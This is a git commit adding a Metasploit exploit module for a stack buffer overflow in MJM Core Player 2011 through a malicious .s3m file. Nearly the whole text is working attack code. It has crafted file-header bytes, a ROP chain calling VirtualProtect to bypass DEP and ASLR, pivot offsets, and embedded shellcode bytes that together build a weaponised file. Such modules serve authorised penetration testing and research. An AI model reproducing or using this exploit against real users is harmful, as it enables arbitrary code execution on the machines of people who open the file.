Added MJM Coreplayer s3m bof
git-svn-id: file:///home/svn/framework3/trunk@12473 4d416f70-5f16-0410-b530-b9f4589650daunstable
Wei Chen
parent
94be33e8ee
commit
72af607aef
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MJM Core Player 2011 .s3m Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in MJM Core Player 2011
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When opening a malicious s3m file in this applications, a stack buffer overflow can be
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triggered, resulting in arbitrary code execution.
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This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rick2600', #found the vulnerabilities
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'corelanc0d3r', #rop exploit + msf module
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-004' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 2339, #about 0x900 bytes
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal Generic DEP & ASLR Bypass',
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{
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'OffSet' => 819, #core player.exe
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'Ret' => 0x1000156f, #core player.exe
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 30, 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 's3m file', 'song.s3m']),
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], self.class)
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end
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def junk
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return rand_text(4).unpack("L")[0].to_i
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end
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def exploit
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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header = "\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41\x41"
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header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10\x00\x00"
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header << "\x24\x00\x00\x01\x00\x0d\x08\x00\x20\x13\x02\x00\x53\x43\x52\x4d"
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header << "\x40\x06\x94\xb0\x10\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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header << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\xff\xff\xff\xff\xff\xff"
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header << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
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header << "\x06\x00\x03\x01\x02\x04\x05\x07\x08\x09\x09\x0a\x0b\x0c\x0d\x0e"
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header << "\x0f\x10\x10\x11\x12\x13\x14\x15\x16\x16\x17\x18\x19\x18\x1a\x1b"
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header << "\x1b\x1c\xff\xff\x13\x00\x18\x00\x1d\x00\x22\x00\x27\x00\x2c\x00"
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header << "\x31\x00\x36\x00\x3b\x00\x40\x00\x45\x00\x4a\x00\x4f\x00\x54\x00"
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header << "\x59\x00\x5e\x00\x63\x00\x68\x00\x6d\x00\x72\x00\x77\x00\x7c\x00"
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header << "\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa4\x00"
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header << "\xa9\x00\xae\x00\xb3\x00\xb8\x00\xbd\x00\xc2\x00\xc7\x00\xcc\x00"
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header << "\xd1\x00\xd6\x00\xdb\x00\xe0\x00\x14\x01\x4d\x01\x87\x01\xc0\x01"
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header << "\x0e\x02\x5a\x02\x9a\x02\xe9\x02\x40\x03\x7f\x03\xc0\x03\x01\x04"
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header << "\x28\x04\x52\x04\x86\x04\xb9\x04\xea\x04\x1a\x05\x41\x05\x6e\x05"
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header << "\x96\x05\xbc\x05\xeb\x05\x25\x06\x78\x06\xcc\x06\x21\x07\x72\x07"
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header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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header << "\x01"
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footer = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
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footer << "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
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footer << "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
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footer << "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
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footer << "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
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footer << "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
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footer << "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"
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footer << "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
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footer << "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
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footer << "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
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footer << "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68"
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footer << "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95"
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footer << "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
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footer << "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"
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footer << "\x00\x00\x00\x00\x00\x00\x00\x00"
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print_status("Preparing payload")
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pivot = [target.ret].pack('V')
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rop_gadgets =
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[
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# pvefindaddr rop 'n roll
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0x004c0021, # POP ECX # RETN
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0x00000000,
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0x0042850e, # PUSH ESP # ADD EDI,EDI # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C
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junk,
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junk,
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junk,
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0x00461248, # MOV EAX,EDI # POP EDI # POP ESI # RETN
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junk,
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junk,
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junk,
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junk,
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junk,
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0x004ac31d, # POP EBX # RETN
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0x00000900,
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0x004a8032, # POP ESI # RETN
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0x00000080,
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0x10009ea7, # ADD EAX,ESI # POP ESI # RETN
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junk,
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0x004def0d, # XCHG EAX,EBP # RETN
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0x004c0145, # POP EAX # RETN
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0x005e0ae0, # VirtualProtect
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0x00408242, # MOV EAX,DWORD PTR DS:[EAX] # RETN
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0x0052001a, # XCHG EAX,ESI # RETN 00
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0x004c0729, # POP EDX # RETN
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0x00000040,
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0x004c0021, # POP ECX # RETN
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0x00401000, # RW
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0x00448142, # POP EDI # RETN
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0x004ae7ce, # RET
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0x004c0145, # POP EAX # RETN
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0x004ae7ce, # RET
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0x0052158e, # PUSHAD # RETN 00
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].pack("V*")
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buffer = rand_text(target['OffSet'])
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buffer << pivot
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buffer << rop_gadgets
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buffer << make_nops(100)
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buffer << payload.encoded
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filecontent = header + buffer + footer
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print_status("Writing payload to file")
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file_create(filecontent)
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end
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end
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